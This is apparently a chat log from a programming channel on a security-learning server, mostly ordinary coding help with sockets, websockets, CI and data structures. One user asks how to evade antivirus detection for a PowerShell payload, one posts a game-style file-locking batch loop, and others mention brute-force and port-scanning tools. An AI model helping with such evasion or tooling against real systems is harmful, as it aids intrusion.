#programming
1 messages Β· Page 7 of 1
Nope
Just as long as you can deploy it in a secure way
Make sure to use GitHub secrets (which is on the repo settings) to store credentials etc.
Ohhh, alright alright. I'll look into that while also looking at other CI/CD tools
Thanks @true pumice
Gave +1 Rep to @true pumice
Hello, Im looking for a mate for studying together to get the OCP Java 8!!
I removed the first "s.recv(1024)" and it crashed it like expected, could anybody explain what was happening?
that's CI, CD is when you auto deploy the thing as well. You best have some solid testing for that though
TBH I prefer gitlab's CI/CD tooling to Github Actions
but they're fairly similar
My preference for CI/CD is something more along the lines of a webhook to a tool that runs the pipeline externally
it's a bit more complex to set up, but i think it's more reliable and more flexible
you can configure external runners with gitlab π
that's also true
but you can probably also use a push hook to trigger a build
i also don't trust the VM/container infra that git forges are starting to provide
gotta be a little bit insane though
on-prem is usually possible
but use whatever works for you, eh?
still trying to find a forge that'll work with a THM free box
yeah, good luck with taht
Arg chrome y u no implement CSS properly π¦
Apparently it needs a prefix for the background-clip property
π’
gog was my best bet... but if it won't run on a thm free box, i don't know of any lighter forges
you can use like PostCSS or whatever to automate that, I think they have some plugin. If it's worth doing that is ; )
not that worth it, it was one property because I'm trying to be cute
usually I drop all my stylesheets in one of those auto prefixers online
if there are some browser requirements anyway
oh npm is back up π
huzzah?
$ pnpm install --frozen-lockfile
Lockfile is up to date, resolution step is skipped
βERR_PNPM_OUTDATED_LOCKFILEβ Cannot install with "frozen-lockfile" because pnpm-lock.yaml is not up to date with package.json
Note that in CI environments this setting is true by default. If you still need to run install in such cases, use "pnpm install --no-frozen-lockfile"
Cleaning up project directory and file based variables 00:01
ERROR: Job failed: exit code 1
arg fracking lockfiles
some days I think powerpoint is better for slides
and then I try writing code blocks and remember why not
oh is this slidev?
yes
because I tried it for a bit when I saw you star some unicorn theme on github hahahh
haha
I want to tranfer my Prezi to slidev
I'm being stalked on github now
https://hydragyrum.gitlab.io/dungeon-master-prez current draft
I really like this slidev concept. I haaaate dealing with annoying UIs like prezi etc
very nice
for prezi-like slideshows, there's impress.js
which is pretty cool, but you need good design sense
I'll check it out one time, thx
impress.js is a presentation tool based on the power of CSS3 transforms and transitions in modern browsers and inspired by the idea behind prezi.com.
hell I even prefer to just set up a static html page from scratch rather than having to use finnicky UIs
impress is basically that tbh
it's pretty cool
I am impress
you can view source to get more comments π
" More importantly, you need to be a designer. There are no default styles or layouts for impress.js presentations.'
yeah
excellent because I am just creating a style lib to standardize my typical style whaha
I'll try to integrate them for personal use
is that the one above?
very nice
you're always at the top of my github following feed π I guess no one else I folow is doing much hahah
Not really
Unless you wanna try out my style lib as a test case π but its not finished. Just using it myself on a few projects to see what is convenient and what isnt
hehe
most of the useful stuff is locked in our organisation
so I see π
whaha
like now I'm realising I can't use sass variables from my installed npm package in my current stylesheets π€ I can overwrite the default value and use a class that has that variable assigned to some property, but I can't refer to it as $some-variable directly. This is problematic .. hmmmm, I guess I have to read the docs π€
I guess this is how TailWind happened. whaha
and its derivatives
hi. i guess it goes here. so i have a powershell payload that goes through defender and curr 1 av software on its own(ran from powershell) but it gets flagged when i try to run it from a cpp program. how can i evade that?
#exploit-and-mal-studies seems a better fit
is it like some sort of closed room or something? i don't see it
You have to verify first
!docs verify
And meet one of the prerequisites to see the advanced channels
thx
!docs verify
Hi All im trying to connect to my MYSQL server using python remotely but it doesnt like it could someone please help
I can try
im using windows
OK? That's not enough to go on
!docs verify
@solemn jungle @halcyon vine Hi, please keep this in #bot-commands unless relevant to the discussion.
@whole oriole please interact with the community before promoting your content
I am getting problem converting the file to apk with kivy using buildozer
I can't upload screenshot
Yes, you'll need to verify
[DEBUG]: In file included from <built-in>:382:
[DEBUG]: <command line>:6:9: warning: 'ANDROID_API' macro redefined [-Wmacro-redefined]
[DEBUG]: #define ANDROID_API 21
[DEBUG]: ^
[DEBUG]: <built-in>:375:9: note: previous definition is here
[DEBUG]: #define ANDROID_API ANDROID_MIN_SDK_VERSION
I don't know what to do
@surreal bronze
I wrote it here
No you didn't
The screenshot you posted and deleted, towards the bottom was the actull error
That's just a warning
[DEBUG]: In file included from <built-in>:386:
[DEBUG]: <command line>:6:9: warning: 'ANDROID_API' macro redefined [-Wmacro-redefined]
[DEBUG]: #define ANDROID_API 26
[DEBUG]: ^
[DEBUG]: <built-in>:379:9: note: previous definition is here
[DEBUG]: #define ANDROID_API ANDROID_MIN_SDK_VERSION
[DEBUG]: ^
[DEBUG]: 1 warning generated.
[DEBUG]: armv7a-linux-androideabi26-clang -I. -Iinclude -fPIC -pthread -target armv7a-linux-androideabi26 -fomit-frame-pointer -march=armv7-a -mfloat-abi=softfp -mfpu=vfp -mthumb -fPIC -DOPENSSL_USE_NODELETE -DOPENSSL_PIC -DOPENSSLDIR=""/usr/local/ssl"" -DENGINESDIR=""/usr/local/lib/engines-1.1"" -DNDEBUG -D__ANDROID_API__=26 -DANDROID -I/home/kumar/.buildozer/android/platform/android-ndk-r25b/toolchains/llvm/prebuilt/linux-x86_64/sysroot/usr/include -I/mnt/c/Users/REDROSE/app/.buildozer/android/platform/build-arm64-v8a_armeabi-v7a/build/python-installs/myapp/armeabi-v7a/include/python3.9 -MMD -MF crypto/ts/ts_rsp_utils.d.tmp -MT crypto/ts/ts_rsp_utils.o -c -o crypto/ts/ts_rsp_utils.o crypto/ts/ts_rsp_utils.c
Again, not the error
When you posted the screenshot, there was a part that said C:\\xx\\, error right at the very end
Those are all warnings, not errors
A warning is what it sounds like. An indication that something is wrong, but not so wrong that it'll stop
Nobody can help you until you've posted the full log with the error at the end. If there's any sensitive information you don't feel comfortable with you can replace it with a placeholder
But its imperative that we get that information, and the command used to execute the build - otherwise we have nothing to go of
Are there any good resources you guys know for reading and understanding python errors?
What do you mean by "reading python errors"?
I guess he would like to read official documentation about errors? error codes and their exact meaning? @tranquil flame
I didn't even think about checking documentation. I'll get on that XD.
p%a<p%b?p%c<p%a?p%c:p%a:p%b<p%c?p%b:p%c
silly C
Chatgpt
ANYONE got a fun raspberry ppi pico script to prank my friends????
define "prank".
just to do a prank i dont care what
A[(int)((((double)a[j]-(double)a[i])/2)*10)]++;
I love writing silly
Nope. Do not give commands or program stuff that could cause damage to a running system.
That doesn't justify it. Rule 17.
I love this x)
Is about accurate
Clean code is indeed a funny book
does anyone know of a "web development for hackers" type course?
What does this mean π€
Are you looking for secure coding stuff? Web app testing? Just how to host a website?
My recommendation: Just learn the basics of web development instead of appending βfor hackersβ at the end of it.
^^This, it might surprise you but 'hackers' use the same techniques as software developers. We actually learn from them 90% of the time
I found w3Schools very useful for learning general web development, after setting up a basic website, it will probablybe vulnerable to many attacks. You can than look at port swigger academy, which goes through many vulnerabilities, how to exploit and and to prevent them, if you implement and test the suggested options for prevention in your website you will likely understand web security well.
They should at any rate.
ok I resolved it...... sigh
I'm new to setting up my own github actions, I've only ever used ones that were already set up
I have finished my frontend course so anyone dm me i need to get experience please
I believe jabba told you to quit posting your webpage. This is the 3rd or 4th time.
π₯Ή
This is a joke⦠right?
It can't be anything else π€£
Yes, it was on Reddit
If it works don't fix it
if you gonna make a chess game that way at least make an ai or script to produce the code
Good question comes from this.
How long would it take for a program to calculate all possible variations (which is the joke of my pic, printf every possible variations). My initial thought very long time, so long it wouldn't matter how long as noone would remain alive to witness it
well depends... there was some way to calculate how many moves is possible from a standard start of chess giving it in a power of 10 number
shadow dunno how to do that though
mathematician Claude Shannon said there is around 10^120 possible positions of chess pieces (including the illegal one), and that number is very, very big, more than a number of atoms in observable universe.
This is the information upon which I found the pic funny since it would be "infinite" printfs and therefor my initial thought that it would take relativeily invinitely long to calculate all possibilities
well then guess shadows solution is still better then doing it by hand but you need a couple universes to get through it
In that case I agree, computer power > brain power π€£
s.sendall(str(-43).encode())
data = conn.recv(1024).decode()
>>> 43
Why does it give positive 43 and not negative 43?
what does str do?
What do you mean?
What is str(-43)
>>> x = -43
>>> print(str(x))
-43
>>>
No, it doesn't make it a positive - that was my first thought too :P
Β―_(γ)_/Β―
I'd check the contents of the buffers
Not sure what you mean by the buffer, like check the contents before decode() and encode() ?
Yep, I think something might be getting lost or truncated
b'-35'
b'35'
b'-18'
b'18'
b'35'
b'35'
b'18'
b'18'
data = conn.recv(1024)
print(data)
Welp, looks like there's a problem. What's the code in the Client now?
There's clearly an inversion there
oh ffs
sorry it was passing through the wrong variable (before the conversions were done)
+rep @onyx merlin sorry for taking your time π
Gave +1 Rep to @onyx merlin
Np, that's why I always think it's a good idea to track back and make sure you're sending what you think you're sending
When I do webdev, I usually run Burp Browser just so I can see exactly what's going through
100%
It's a good idea for any network based programming - monitoring I/O across your channel can be really painful. Similar for IPC debugging as well
If I wanted to post the code, would it be okay to do it in this channel?
Or would you rather I ask in #advanced-general ?
I think it's fine, as long as it's not demonstrating keyboard reading and sending.
Hmm, problem is it lacks context** w/ out - I'll try and find a way to remove that part while keeping the logic
import socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(("192.168.0.56", 65432))
while True:
event = key_event
code = -scan_code if key_is_down else scan_code
s.sendall(str(code).encode())
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind(("192.168.0.56", 65432))
s.listen()
conn, addr = s.accept()
with conn:
print(f"Connected by {addr}")
while True:
data = int(conn.recv(1024).decode())
if not data:
break
if int(data) > 0:
value = 0
else:
value = 1
data = abs(data)
print((0x01, data), value, True)
is that alright?
@true pumice I added verified commits!! https://github.com/Jayy001/RmKeyboard
oh rats the file names are wrong
I have created a windows file:
@echo off
:a
attrib +r \king-server\king.txt
goto a ```
now how do I compile this and run it in cmd?
it's bat which can be just run by itself
so I can save it as .bat
and than run it in the CMD?
yep
aight thanks
#Server
#!/usr/bin/env python
import asyncio
import pathlib
import ssl
import websockets
async def hello(websocket):
name = await websocket.recv()
print(f"<<< {name}")
greeting = f"Hello {name}!"
await websocket.send(greeting)
print(f">>> {greeting}")
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
cert_pem = pathlib.Path(__file__).with_name("cert.pem")
ssl_key = pathlib.Path(__file__).with_name("key.pem")
ssl_context.load_cert_chain(cert_pem, keyfile=ssl_key)
async def main():
async with websockets.serve(hello, "10.11.99.1", 8765, ssl=ssl_context):
await asyncio.Future() # run forever
if __name__ == "__main__":
asyncio.run(main())
#Client
#!/usr/bin/env python
import asyncio
import pathlib
import ssl
import websockets
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
cert_pem = pathlib.Path(__file__).with_name("cert.pem")
ssl_key = pathlib.Path(__file__).with_name("key.pem")
ssl_context.load_cert_chain(cert_pem, keyfile=ssl_key)
async def hello():
uri = "wss://10.11.99.1:8765"
async with websockets.connect(uri, ssl=ssl_context) as websocket:
name = input("What's your name? ")
await websocket.send(name)
print(f">>> {name}")
greeting = await websocket.recv()
print(f"<<< {greeting}")
if __name__ == "__main__":
asyncio.run(hello())
#San.cnf
[req]
default_bits = 2048
distinguished_name = req_distinguished_name
req_extensions = req_ext
x509_extensions = v3_req
prompt = no
[req_distinguished_name]
countryName = XX
stateOrProvinceName = N/A
localityName = N/A
organizationName = Self-signed certificate
commonName = 10.11.99.1: Self-signed certificate
[req_ext]
subjectAltName = @alt_names
[v3_req]
subjectAltName = @alt_names
[alt_names]
IP.1 = 10.11.99.1
Executed ```
openssl req -x509 -nodes -days 730 -newkey rsa:2048 -keyout key.pem -out cert.pem -config san.cnf
To generate `key.pem` & `cert.pem`
But when I run the client.py, I get
Traceback (most recent call last):
File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\asyncio\windows_events.py", line 485, in finish_recv
return ov.getresult()
^^^^^^^^^^^^^^
OSError: [WinError 64] The specified network name is no longer available
Traceback (most recent call last):
File "C:\Users\Jacob\Documents\Developing\projects\ReMarkable-Keyboard\test_client.py", line 26, in <module>
asyncio.run(hello())
File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\asyncio\runners.py", line 187, in run
return runner.run(main)
^^^^^^^^^^^^^^^^
File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\asyncio\runners.py", line 120, in run
return self._loop.run_until_complete(task)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\asyncio\base_events.py", line 650, in run_until_complete
return future.result()
^^^^^^^^^^^^^^^
File "C:\Users\Jacob\Documents\Developing\projects\ReMarkable-Keyboard\test_client.py", line 16, in hello
async with websockets.connect(uri, ssl=ssl_context) as websocket:
File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\site-packages\websockets\legacy\client.py", line 637, in __aenter__
return await self
^^^^^^^^^^
File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\site-packages\websockets\legacy\client.py", line 655, in __await_impl_timeout__
return await self.__await_impl__()
^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\site-packages\websockets\legacy\client.py", line 659, in __await_impl__
_transport, _protocol = await self._create_connection()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\asyncio\base_events.py", line 1098, in create_connection
transport, protocol = await self._create_connection_transport(
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\asyncio\base_events.py", line 1131, in _create_connection_transport
await waiter
File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\asyncio\proactor_events.py", line 282, in _loop_reading
length = fut.result()
^^^^^^^^^^^^
File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\asyncio\windows_events.py", line 837, in _poll
value = callback(transferred, key, ov)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\Jacob\.pyenv\pyenv-win\versions\3.11.0b4\Lib\asyncio\windows_events.py", line 489, in finish_recv
raise ConnectionResetError(*exc.args)
ConnectionResetError: [WinError 64] The specified network name is no longer available
Not sure what's causing this, probably doesn't like the cert - when I run it without ssl, it connects fine
cc @onyx merlin
maybe asyncio.open_connection with ssl=true might help?
https://docs.python.org/3/library/asyncio-stream.html#asyncio.open_connection
I'm using websockets though?
websockets.connect(
hmmm, yeah, just looking at the traceback and it looks like it's the ansyncio that fails, so I was just looking it up π
I fixed it - It should be ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER), not ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) 
ahhh yeah
I thought I copied the code correctly from the docs but apparently not
hello
is there any cool options I can add to my tool other than:
- ssh bruteforce
- wordlist generation/modification
- file downloader
- information gathering
- port scanning
And to your what?
tool*
wdym ?
you give a binary name
and it gives you information about the binary
using gtfobins
I know the site but I am not sure how I would implement that in my code
GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems - GTFOBins.github.io/_gtfobins at master Β· GTFOBins/GTFOBins.github.io
https://websockets.readthedocs.io/en/stable/topics/authentication.html
async def inject(websocket):
token = await websocket.recv()
if token != pwd:
await websocket.close(1011, "Unauthorized (Wrong token)")
else:
await websocket.send("OK")
try:
<CODE>
except websockets.exceptions.ConnectionClosed:
logging.error("Client disconnected")
async def main():
logging.debug("Attempting to start WebSocket")
loop = asyncio.get_running_loop()
stop = loop.create_future()
loop.add_signal_handler(signal.SIGTERM, stop.set_result, None)
if ssl_check:
logging.info("Using SSL")
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ssl_context.load_cert_chain("certs/cert.pem", keyfile="certs/key.pem")
else:
ssl_context = None
async with websockets.serve(
inject, address, port, ssl=ssl_context, compression=None
):
logging.info(f"WebSocket running: {address}, {port}")
await stop
The WebSocket protocol was designed for creating web applications that need bidirectional communication between clients running in browsers and servers. In most practical use cases, WebSocket serve...
This is my current server code, I'm just wondering if there's a "standard" way for authentication (just between two devices, no browser). Currently I'm using just sending creds as the first message for it, are there any major downsides to this? I can only think of the message being intercepted...but if I'm using SSL/TTS that shouldn't be a problem right?
https://websockets.readthedocs.io/en/stable/topics/authentication.html#:~:text=Authenticating with a TLS certificate I'd do this as you have control over both ends
The WebSocket protocol was designed for creating web applications that need bidirectional communication between clients running in browsers and servers. In most practical use cases, WebSocket serve...
Or the machine to machine authentication it covers
As long as you have certs etc, Basic Auth is ok
Alright, will do - ty
i want to create this structure
{
"abc.com": {
"ip": "10.10.10.1",
"ptr": None,
"subdomains": {
"staging.abc.com": {
"ip": "10.10.10.2",
"ptr": None,
"subdomains": {
"accounts.staging.abc.com": {
"ip": "10.10.10.3",
"ptr": "ec2-10.10.10.3.aws.com",
"subdomains": {}
}
}
}
}
}
}
domains = {}
for data in result:
domain = data["domain"]
ip = data["ip"]
ptr = data["ptr"]
handle_domain(domain, ip, ptr)
chatgpt has failed me many times, and i cannot for the life of me figure it out. is anyone able to help a brother out xx
what does result look like?
it varies, but i only need those 3 items from it
Give me like 20 minutes and ill see what I can do
I had a similar problem
could you send me an example of result to use?
{'country': 'US', 'server': 'cloudflare', 'redirected': 'https-only', 'ip': '2606:4700:3035::6815:56d3', 'mimeType': 'text/html', 'title': 'EPICENTER - EPICENTER', 'url': 'https://epicenter.si/', 'tlsValidDays': 89, 'tlsAgeDays': 3, 'tlsValidFrom': '2023-04-11T00:00:09.000Z', 'domain': 'epicenter.si', 'apexDomain': 'epicenter.si', 'asnname': 'CLOUDFLARENET, US', 'asn': 'AS13335', 'tlsIssuer': 'E1', 'status': '200'}
and its just a list of servers like that?
yee
some have all the elements, domain, ip, and ptr, some are missing any 1 of the three
Okay, so yeah you'd have to use setdefault() for this, one momento
Why not use JSON library to carve through this
what do you mean?
wdym
im okay with getting the data, it's just creating the structure i want that i can't do
do you have a sample with a subdomain?
results = {
"abc.com": {
"ip": "10.10.10.1",
"ptr": None,
"subdomains": {
"staging.abc.com": {
"ip": "10.10.10.2",
"ptr": None,
"subdomains": {
"accounts.staging.abc.com": {
"ip": "10.10.10.3",
"ptr": "ec2-10.10.10.3.aws.com",
"subdomains": {}
}
}
}
}
}
}
to_add = {'domain': 'testing.abc.com', 'ip': '127.0.0.1', 'ptr': None}
there's one I made
isnt this just creating a dictionary and then passing that to the function
not sure if thats what you want
They want it in this format
where each subdomain is nested
in the same format as its parent domain
mmmm
recursion would work well here
Yea
almost got it
Got it!
just to confirm @cursive orchid
>>> to_add = {'domain': 'testing.staging.abc.com', 'ip': '127.0.0.1', 'ptr': None}
# OUTPUT
{
"abc.com": {
"ip": "10.10.10.1",
"ptr": null,
"subdomains": {
"staging.abc.com": {
"ip": "10.10.10.2",
"ptr": null,
"subdomains": {
"accounts.staging.abc.com": {
"ip": "10.10.10.3",
"ptr": "ec2-10.10.10.3.aws.com",
"subdomains": {}
},
"testing.staging.abc.com": {
"ip": "127.0.0.1",
"ptr": null
}
}
}
}
},
"bbc.com": {
"ip": "127.0.0.1"
}
}
is that what you wanted?
import json
current = {
"abc.com": {
"ip": "10.10.10.1",
"ptr": None,
"subdomains": {
"staging.abc.com": {
"ip": "10.10.10.2",
"ptr": None,
"subdomains": {
"accounts.staging.abc.com": {
"ip": "10.10.10.3",
"ptr": "ec2-10.10.10.3.aws.com",
"subdomains": {}
}
}
}
}
},
"bbc.com": {
'ip': '127.0.0.1'
}
}
def set_domain(subdomain, r):
if "subdomains" not in r:
r['subdomains'] = {subdomain: {}}
r = r.setdefault('subdomains', {}).setdefault(subdomain, {})
return r
if subdomain in r['subdomains']:
r = r.setdefault('subdomains', {}).setdefault(subdomain, {})
return r
r['subdomains'][subdomain] = {}
r = r.setdefault('subdomains', {}).setdefault(subdomain, {})
return r
def add(to_add, current):
domain_split = to_add['domain'].split('.')
main_domain = '.'.join(domain_split[-2:])
if main_domain in current: # Domain alredy in there
domain_split = domain_split[:-2]
r = current
r = r.setdefault(main_domain, {})
for i in reversed(range(len(domain_split))):
d = f"{'.'.join(domain_split[i:])}.{main_domain}"
r = set_domain(d, r)
r['ip'] = to_add['ip']
r['ptr'] = None
else:
# Just add it normally
current[to_add['domain']] = {'ip': '....'} # etc
return current
to_add = {'domain': 'testing.staging.abc.com', 'ip': '127.0.0.1', 'ptr': None}
to_add2 = {'domain': 'lel.abc.com', 'ip': '127.0.0.1', 'ptr': None}
results = add(to_add, current)
results2 = add(to_add2, results)
print(json.dumps(results2, indent=4))
that is a very rough baseline, and obviously could be improved a lot (like using a beter method than reversed(range(len())) - but the overall logic is there and the program works
recursion might be cleaner than the for loop, but its up to you
PyObject *PyDict_SetDefault(PyObject *p, PyObject *key, PyObject *defaultobj)
Return value: Borrowed reference.
This is the same as the Python-level dict.setdefault(). If present, it returns the value corresponding to key from the dictionary p. If the key is not in the dict, it is inserted with value defaultobj and defaultobj is returned. This function evaluates the hash function of key only once, instead of evaluating it independently for the lookup and the insertion.
New in version 3.4.
Hey guys, Iβm mid exp with programming but only really via messing around and a couple old diplomas. Looking for recommendations for some project ideas preferably related to this space to build confidence. Perhaps to lead into being confident enough into working on bigger projects. Keen to stick to python & go
Does anyone know of any infosec resources with projects to gradually build exp
hello
I need project ideas for something I can build/program in the field of cybersecurity, I just have the urge to build or contribute something and practice
I am thinking of making a new networking protocol
I was thinking simpler such as a cli http processor proxy like burp has or nmap
AMAZING. Thanks.
Gave +1 Rep to @pastel lava
Make a tryhackme room
do they pay for it?
I mean I certainly may at some point in my journey
@surreal bronze ahh thank you so much !! i haven't tried it yet but will give it a go soon β£οΈ
Gave +1 Rep to @surreal bronze
happy to help, let me know if there are any issues
# Client
wsapp.send(struct.pack("IIi", type_, code, value)) # => event
# Server
type_, code, value = struct.unpack("IIi", bytes(event.encode("utf-8")))
What would I need to use with JS to send data correctly? (i.e in bytes form)
For example,
1, 31, 0 >> \x01\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00
Okay I have
let x = new ArrayBuffer(12)
let unsign = new Uint32Array(x)
let type = unsign[0]
let code = unsign[1]
let sign = new Int32Array(x)
let value = sign[2]
which gives
< BINARY 00 00 00 00 00 00 00 00 00 00 00 00 [12 bytes]
DEBUG:websockets.server:> TEXT 'OK' [2 bytes]
DEBUG:root:Emitting event: ((0, 0), 0)
so thats a start....but im not sure how to change the actull values?
let x = new ArrayBuffer(12)
let view = new Uint32Array(x);
view[0] = 1;
view[1] = 32;
view[2] = 1;
socket.send(view)
solved
hi guys is something like this possible?
Get-ChildItem -Path .\ -Recurse **minus** Get-ChildItem -Path .\ -Recurse -File -Include .abc
Exclude wouldn't be helpful, cuz of other files in the directories
So I could get the path to the directories that don't contain the extension .abc
Hi, yes it is possible. One way of achieving this is by piping to a Where-Object. Because it is a specific file extension you want to exclude, you could use the -notmatch operator like so with this oneliner:
Get-ChildItem -Path .\ -Recurse **minus** | Where-Object {($_.Name -match ".abc")}
I guess I have to specify it a bit more. Your command is the same like Get-ChildItem -Path .\ -Recurse -File -include '*.abc'
I hope the following example is better. I have 5 directories; in 3 of them are 2 files with extension .abc and .xyz the other 2 contains the files with extension .xyz.
So when I use Get-ChildItem -Path .\ -Recurse -File -exclude '*.abc' I will get 5 paths (all .xyz-files) but what I want is the 2 paths of the directories without the .abc-files. I guess I have to use 2 for-loops and substract the dir-names to get my result.
check the pinned messages here for programming
go to #start-here to learn about Cyber Sec
I have a weird question but how do I know if I am building a new networking protocol or just programming an application?
Like what is the line between these two things ?
Is the networking protocol just some sort of specifications, and I should program an app to showcase it ?
Protocol defines interactions between components; a network protocol defines the interactions among devices on a network.
The programming part of that is the implementation of that protocol or relevant devices on the network.
Should I program it first or prepare the documentation first ? (Considering that the general ideas are already in my mind and that it can shape out differently after programming some good chunks)
Programming without a plan usually doesn't result in success.
What was written first, the TCP/IP stack or the RFCs for that stack?
Hello, anyone got a Go course they'd vouch for? paid or free, bonus points if its cybersec related :p
I'm still not following what you want I think, but if it's the full path to the files that you are looking for, why don't you just pipe it to Select-Object and select the info you're interested in?
Your example below will get all of the items in the directory you've specified, and the -Recurse parameter will tell it to continue to dig into any subdirectories whilst excluding any results that contain the .abc extension
Get-ChildItem -Path .\ -Recurse -File -exclude '*.abc'
If you're interested only in the full path to those files you could so something like this.
This will do the same as above, however you are specifying exactly what information to output.
In this case it will output only the full UNC path to the files however this will also include any subdirectories that exist in within that directory.
Get-ChildItem -Path .\ -Recurse -File -exclude '*.abc' | Select-Object FullName
For loops aren't necessary because you're already recursing, adding a for loop would only complicate matters and make your script run slower.
ok I'll make better planning, thanks
Gave +1 Rep to @magic falcon
for the people who built discord bots in python, how do you structure it?
currently all my bot functionalities is in one function in one file then thats called by main then i have handler functions that are called by the bot functions
bot.py # one huge function called bot.run() with all the bot functionalities
main.py # literally just if __name__ and bot.run()
handler.py # the handler functions that are used by the bot
.env
this is how my directory looks like rn
MVC should be the bare minimum design pattern you use to organize any project with lots of expected interactions with other systems
Any C# users here?
Great Website 
In a class in C# is it possible to use more than one value for a getter and setter?
I have myself a class called Cell, which contains walls, and it's occupancy.
public class Cell()
{
private bool[] walls = new bool[4];
}```
I wanted to know how you would go about making a getter and setter for this. Kinda similar to what I typed.
```cs
private void setWall(int wallID, bool state)
{
walls[wallID] = state;
}
public bool SetWall
{
get { return walls[value]; }
set { setWall(value, value2); }
}
I have not found a way so currently I'm using a very annoying method of duplicating one getter/setter 4 times for each wall. (which really feels stupid)
If I cant find a solution I'm just going to split it into two public methods for getting and setting lol
Hmm I have no experience with c#, so take this with a grain of salt but couldn't you use a tuple as the value for the setter, with the wall index and value? Source: https://stackoverflow.com/questions/14102028/can-i-pass-multiple-values-into-a-setter-in-c
Actually I didn't think about that. I'll try it out thanks for the post
i forgot these existed lmao. Will rewrite mine when i get home π«‘
both.
hello
I am building a p2p system and wonder if I should use threading ( 1 thread for each connection with each peer) or use Asynchronous I/O to handle peer connections?
@magic falcon I asked the video creator and now im even more confused as to how
print(1)
for _ in range(n):
print(x)
Is O(x^2)
Technically, he's correct, but no one who does asymptotic analysis really says that linear search, for example, is O(n^2), it's O(n)
the idea of 'worst case behavior' is that you want it to be bound to what is close, not the next 'step'
technically correct the best kind of correct
fair
it's like saying that a walk that has never taken more than 10 minutes has an upper bound of 2 hours
In a p2p system, should peers have double socket objects (one for receiving and one for sending) in each connection with another peer to each other peer, or can I use 1 for receiving and sending at the same time for each peer?
because e.g. on my local system :
peer 1
127.1 : 8000 listens
127.1 : 50000 sends to peer2
127.1 : 52000 sends to peer3
peer2
127.2 : 8000 listens
127.2 : 30000 sends to peer1
127.2 : 33000 sends to peer3
peer3
127.3 : 8000 listens
127.3 : 40000 sends to peer1
127.3 : 41000 sends to peer2
Here it's obvious that different sockets are used for sending, and one socket for receiving. Nonetheless I am using multiple socket objects for sending, and the same number for receiving
I am asking if I could use just one socket object to send and receive data with each peer, in order to use half the amount of threads I am currently using, or is it impossible to do so because a socket would have port 8000 for receiving and 30000 for sending and that just doesn't work in one socket?
If not how can I improve performance with the threads ? Or are they simply not the most efficient option and I should look into asynchronous I/O ?
Right so according to the formal definition, technically it could be O^2 but thats not really the actual upper bound that'd be used
So I was going to make a project that involved storing a 2D array or "cells" with data in each cell.
Is there any easier way to store that data in a file other than using JSON?
I was just gonna use JSON but I was curious on if yall had any input
(I have not very much experience writing to files outside of a program)
The data is a strict 2D array of 10x10 and will not be changed in size at all
Why JSON? Why not use a literal 2D array?
data = [[0,0,0], [1,1,1], [2,2,2]]
Ah, didn't read that file part.
Well that depends, what programming language?
You could use pickles for example to save it to byte code and then load it back in (python)
Or depending on the data you could just write it like
0,0,0
1,1,1
2,2,2
And load it in line by line
Well right now I'm using C# since it's a default unity language. (and its pretty easy lol) I'm mostly messing around to learn how to store stuff the best way.
The cell class currently has an array of length 4 for "Cell walls" and a second array of length 4 for "Corners".
So if I made my own file it'd have to be something like 1,0,1,0:0,0,0,0 For a cell that has a top wall, bottom wall, and no corners. But splitting the offline data from that into variables seems weird. 
But from a few tutorials I have found it looks like JSON has utilities to automatically extract the data from a file.
Why would you use JSON though? Seems a bit overcomplicated for simple integer values - JSON is based of an attribute:value system. Here's an example for writing it to a simple text file, in python:
data = [[1,0,1,0],[0,0,0,0]]
with open('data', 'w+') as data:
data.write('\n'.join([','.join(row) for row in data]))
How exactly would you separate this though? The biggest concern is not writing to a text file but reading.
Pretty simple
with open("data") as file:
result = [[int(x) for x in line.split(',')] for line in file]
Read each line (array) and then join them together into the 2D array
OH I see actually
I think in C# it would actually need to be separated by getting substrings separated by the commas but that makes a bit more sense, thanks π
Ok I just realized how dumb I was being actually because since It's a 10/10 grid there will at most be an index of 99, so the first digit can be horizontal coordinates and the second digit can be vertical ([0] being the top left, [90] being bottom left, and [99] being bottom right) So I dont even need a 2D Array 
char a = Path.DirectorySeparatorChar;
string readFromFilePath = Application.streamingAssetsPath + a + "Tests.txt";
List<string> fileLines = File.ReadLines(readFromFilePath).ToList();
List<bool> bools = new List<bool>();
string[] strings = fileLines[0].Split(",");
foreach(string line in strings)
{
Debug.Log(line);
bools.Add(bool.Parse(line));
}
This seems to work fine for just splitting a line into booleans so I will probably keep this same general idea π Ty for the brainstorming help
Ok I might actually need JSON anyways because each Cell should actually contain more properties than just corners/walls
(It might just be more convenient)
import java.net.InetAddress;
import java.net.Socket;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import java.util.stream.IntStream;
public class NetworkScanner {
private static final int TIMEOUT = 1000; // Timeout for socket connections in milliseconds
public static void main(String[] args) {
String ipAddress = "XXX.XXX.X.X"; // IP address of the network
int startPort = 1; // Starting port for the scan
